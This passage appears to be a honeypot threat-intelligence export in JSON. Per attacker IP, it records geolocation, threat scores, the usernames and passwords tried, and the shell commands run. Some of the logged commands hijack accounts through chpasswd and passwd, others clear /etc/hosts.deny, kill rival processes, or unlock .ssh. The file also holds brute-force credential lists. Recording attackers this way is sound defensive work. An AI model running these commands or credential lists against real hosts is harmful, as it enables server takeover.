        "adminzhaoxin",
        "aquarius",
        "asd1314520",
        "asplinux",
        "changeme@123",
        "fy@123456",
        "jack"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:M6gAAbeCphuc\"|chpasswd|bash",
        "echo \"root:T07BIigfnNvz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 54.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.5,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 442,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T10:31:37.898000+00:00",
        "last_seen_30d": "2026-04-27T20:39:10.874000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 336,
        "Suricata": 106
      }
    },
    "152.32.174.67": {
      "attack_count": 331,
      "first_seen": "2026-04-10T22:33:54.019Z",
      "last_seen": "2026-04-10T23:15:23.226Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "dev",
        "user",
        "ali",
        "amits",
        "css",
        "michele",
        "node",
        "op",
        "postgres",
        "tecnopos",
        "test03",
        "test1",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123456",
        "147258",
        "2023!",
        "8080",
        "Ali$",
        "Bot20!",
        "DDcc000",
        "Nikhil@123",
        "ROOT",
        "Test.123",
        "User",
        "User06!",
        "amits",
        "asd123",
        "asdfasdf",
        "bot09",
        "css"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"asdfasdf\\n7yE2zwuJwDnQ\\n7yE2zwuJwDnQ\\n\"|passwd",
        "echo \"bot09\\nvtpNK3Ic646q\\nvtpNK3Ic646q\\n\"|passwd",
        "echo \"root:1nQv0Rdmp9Yq\"|chpasswd|bash",
        "echo -e \"asdfasdf\\n7yE2zwuJwDnQ\\n7yE2zwuJwDnQ\"|passwd|bash",
        "echo -e \"bot09\\nvtpNK3Ic646q\\nvtpNK3Ic646q\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T22:33:54.019000+00:00",
        "last_seen_30d": "2026-04-10T23:16:31.296000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 70
      }
    },
    "172.190.142.151": {
      "attack_count": 331,
      "first_seen": "2026-04-04T18:39:44.506Z",
      "last_seen": "2026-04-04T19:38:45.868Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "dev",
        "user04",
        "fernando",
        "git",
        "gitlab-runner",
        "hduser",
        "mike",
        "oracle",
        "sambauser",
        "steam",
        "sysadmin",
        "ubuntu",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "1234567890",
        "Claude2025!@#",
        "P@ssword1!",
        "Qq123456..",
        "Qwerty#2025",
        "Root2018@123",
        "Skemasuprem@890",
        "Test123!",
        "claude27!",
        "dev06!",
        "dev123456",
        "fernando",
        "gitlab-runner1",
        "mike",
        "odoo2025",
        "oracle21!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"dev06!\\nSeIc42yTKcOv\\nSeIc42yTKcOv\\n\"|passwd",
        "echo \"root:DmyPz4Yb6AJF\"|chpasswd|bash",
        "echo \"user04\\n4mWXQ5hZZqeT\\n4mWXQ5hZZqeT\\n\"|passwd",
        "echo -e \"dev06!\\nSeIc42yTKcOv\\nSeIc42yTKcOv\"|passwd|bash",
        "echo -e \"user04\\n4mWXQ5hZZqeT\\n4mWXQ5hZZqeT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T18:39:44.506000+00:00",
        "last_seen_30d": "2026-04-04T19:39:55.420000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 331,
        "Suricata": 71
      }
    },
    "182.79.216.98": {
      "attack_count": 288,
      "first_seen": "2026-04-30T03:58:04.964Z",
      "last_seen": "2026-04-30T04:48:38.386Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "test",
        "admin",
        "user",
        "345gs5662d34",
        "deployer",
        "git",
        "guest",
        "guest123",
        "mysql",
        "sftpuser",
        "speedtest",
        "teste"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123qwe@",
        "1a2b3c!@#",
        "1q2w3e4r5",
        "1q2w3e4r5t6y",
        "1qaz2wsx#EDC",
        "1z2x3c4v",
        "20232023",
        "Asdf1234",
        "P@ssw0rd",
        "abc12345",
        "admin1121",
        "demo12",
        "git123git",
        "guest123",
        "guest12345678",
        "help"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\ni8lC3IPofPYq\\ni8lC3IPofPYq\\n\"|passwd",
        "echo \"testpassword\\n6wG7ouUpe7By\\n6wG7ouUpe7By\\n\"|passwd",
        "echo -e \"1234\\ni8lC3IPofPYq\\ni8lC3IPofPYq\"|passwd|bash",
        "echo -e \"testpassword\\n6wG7ouUpe7By\\n6wG7ouUpe7By\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9498,
      "as_org": "BHARTI Airtel Ltd.",
      "threat_score": 38.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T03:58:04.964000+00:00",
        "last_seen_30d": "2026-04-30T04:49:47.912000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "171.244.37.96": {
      "attack_count": 263,
      "first_seen": "2026-04-11T21:36:05.260Z",
      "last_seen": "2026-04-11T22:21:01.481Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "ftptest",
        "frappe",
        "free",
        "lek",
        "md",
        "server",
        "sftp_user",
        "steam",
        "webmin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "123456789AA",
        "1qaz@WSX..",
        "55555",
        "AAA123456789",
        "Admin#1234",
        "Frappe11",
        "P@$$w0rd1234",
        "P@ss2026",
        "P@ssword123",
        "Qazwsx1234!@#",
        "QwertyQwerty12345",
        "Wj123456@",
        "abbas123",
        "abc!@#123",
        "ftptesttest",
        "lek"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"AAA123456789\\nwPFEB8ShgiUy\\nwPFEB8ShgiUy\\n\"|passwd",
        "echo \"ftptesttest\\nxr4npw9yVX8y\\nxr4npw9yVX8y\\n\"|passwd",
        "echo -e \"AAA123456789\\nwPFEB8ShgiUy\\nwPFEB8ShgiUy\"|passwd|bash",
        "echo -e \"ftptesttest\\nxr4npw9yVX8y\\nxr4npw9yVX8y\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T21:36:05.260000+00:00",
        "last_seen_30d": "2026-04-11T22:22:04.317000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "148.66.132.204": {
      "attack_count": 262,
      "first_seen": "2026-04-07T12:32:29.707Z",
      "last_seen": "2026-04-07T13:20:16.635Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "user",
        "btest",
        "digital",
        "ediuser",
        "erpnext",
        "ftpuser",
        "jack",
        "root/1234567",
        "teamspeak",
        "user9",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "1234567890",
        "1q2w3e4r!",
        "Aa@123456",
        "Oracle2026",
        "Qazwsx9999!@",
        "Qwertyuio1234567",
        "Root666@#",
        "Steam4",
        "Teamspeak03!",
        "Vpn12345",
        "Xp123456",
        "aaa",
        "asdqwe123",
        "bt@123456",
        "digital"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Steam4\\ncqloPrNhJ6iN\\ncqloPrNhJ6iN\\n\"|passwd",
        "echo \"root:TxpD4t4tITYT\"|chpasswd|bash",
        "echo -e \"Steam4\\ncqloPrNhJ6iN\\ncqloPrNhJ6iN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 26496,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T12:32:29.707000+00:00",
        "last_seen_30d": "2026-04-07T13:21:24.458000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 68
      }
    },
    "165.154.6.138": {
      "attack_count": 262,
      "first_seen": "2026-04-21T07:38:35.702Z",
      "last_seen": "2026-04-21T08:19:05.042Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "testbox",
        "user",
        "admin",
        "alex",
        "ali",
        "bot",
        "deploy",
        "oracle",
        "sabina",
        "testi",
        "ubuntu",
        "uno85c",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweasd",
        "1qaZXsw2",
        "P@ssw0rd",
        "Root2024..",
        "ZAQ!2wsx2021..",
        "admin0@123",
        "ali23",
        "azerty123@",
        "bot07!",
        "developer",
        "download",
        "k",
        "oracle26!",
        "qazwsx654321@#",
        "qwerty2025",
        "qwerty2026",
        "root2024",
        "sabina123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:XZ7WOt52RnsF\"|chpasswd|bash",
        "echo \"testbox\\nsjtkfaD4p9Nq\\nsjtkfaD4p9Nq\\n\"|passwd",
        "echo -e \"testbox\\nsjtkfaD4p9Nq\\nsjtkfaD4p9Nq\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T07:38:35.702000+00:00",
        "last_seen_30d": "2026-04-21T08:20:07.121000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "172.174.5.146": {
      "attack_count": 262,
      "first_seen": "2026-04-05T16:48:03.754Z",
      "last_seen": "2026-04-05T17:47:24.481Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "claude",
        "bot",
        "devuser",
        "drcomadmin",
        "frappe",
        "linux",
        "myuser",
        "n8n",
        "odoo",
        "oracle",
        "postgres",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123",
        "123456",
        "123456A@",
        "1q2w3e4r5t",
        "1qaz@WSX",
        "A12345687",
        "Claude25",
        "Cw123456",
        "N8n03",
        "P@ssw0rd",
        "P@ssw0rd123!",
        "Qwer+1234",
        "Ubuntu07!",
        "Ubuntu26",
        "a123456m",
        "admin123456789#$",
        "bot@",
        "chienbinh"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Claude25\\nZKaJGeGhkw1z\\nZKaJGeGhkw1z\\n\"|passwd",
        "echo \"root:T01HItg8wUGG\"|chpasswd|bash",
        "echo -e \"Claude25\\nZKaJGeGhkw1z\\nZKaJGeGhkw1z\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 329,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T16:48:03.754000+00:00",
        "last_seen_30d": "2026-04-05T17:48:28.375000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 67
      }
    },
    "41.216.177.55": {
      "attack_count": 262,
      "first_seen": "2026-04-17T22:38:21.894Z",
      "last_seen": "2026-04-17T23:21:23.151Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "appuser",
        "claude",
        "deploy",
        "mcadmin",
        "mike",
        "n8n",
        "qq",
        "server",
        "steam",
        "vyos"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "142857",
        "Aa134679",
        "Abcqwe123",
        "P@ss12345",
        "Pass.123",
        "Support@2026",
        "User2025!",
        "Welcome2024!",
        "Wl123456",
        "aA@123456789",
        "admin",
        "cLAUDE",
        "ddDD123123",
        "frappe04!",
        "luis123",
        "mcadmin",
        "n8n20"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"User2025!\\naQGmtSE4scNK\\naQGmtSE4scNK\\n\"|passwd",
        "echo \"root:ws14cJyKMtuB\"|chpasswd|bash",
        "echo -e \"User2025!\\naQGmtSE4scNK\\naQGmtSE4scNK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 139989,
      "as_org": "CV Atha Media Prima",
      "threat_score": 21.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 328,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T22:38:21.894000+00:00",
        "last_seen_30d": "2026-04-17T23:22:24.221000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 66
      }
    },
    "190.181.27.27": {
      "attack_count": 236,
      "first_seen": "2026-04-28T11:49:51.741Z",
      "last_seen": "2026-04-28T12:11:07.728Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "huzq"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "6767",
        "Abc@2025",
        "MMMmmm123",
        "admin77",
        "l0ve2you",
        "ora_root111",
        "oracle2026",
        "ovhovh",
        "pass@Word1",
        "pati00731",
        "rockie",
        "root123",
        "sistem",
        "skater",
        "spiruharet",
        "steam",
        "test111111",
        "wangjialun"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:FJlHecJk6a9l\"|chpasswd|bash",
        "echo \"root:rd1mEDzFgi3w\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 26210,
      "as_org": "AXS Bolivia S. A.",
      "threat_score": 34.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T11:49:51.741000+00:00",
        "last_seen_30d": "2026-04-28T12:12:08.635000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 52
      }
    },
    "157.7.113.83": {
      "attack_count": 204,
      "first_seen": "2026-04-24T08:17:31.004Z",
      "last_seen": "2026-04-24T08:53:23.377Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "dev",
        "noreply",
        "test",
        "345gs5662d34",
        "blog",
        "deployer",
        "ftpuser",
        "git",
        "install",
        "sammy",
        "teamspeak",
        "user002"
      ],
      "passwords_attempted": [
        "123456",
        "1234Qwer!",
        "2glehe5t24th1issZs",
        "321456",
        "3245gs5662d34",
        "345gs5662d34",
        "Abcd12345",
        "Administrator",
        "Asd123",
        "Dev12",
        "Dev14!",
        "MoeClub.org",
        "Pa$$word",
        "Talent@123",
        "Zp123456",
        "a123456789!",
        "aA123456789",
        "admin.123",
        "admin08",
        "blog"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nHG4CSJBNKX1D\\nHG4CSJBNKX1D\\n\"|passwd",
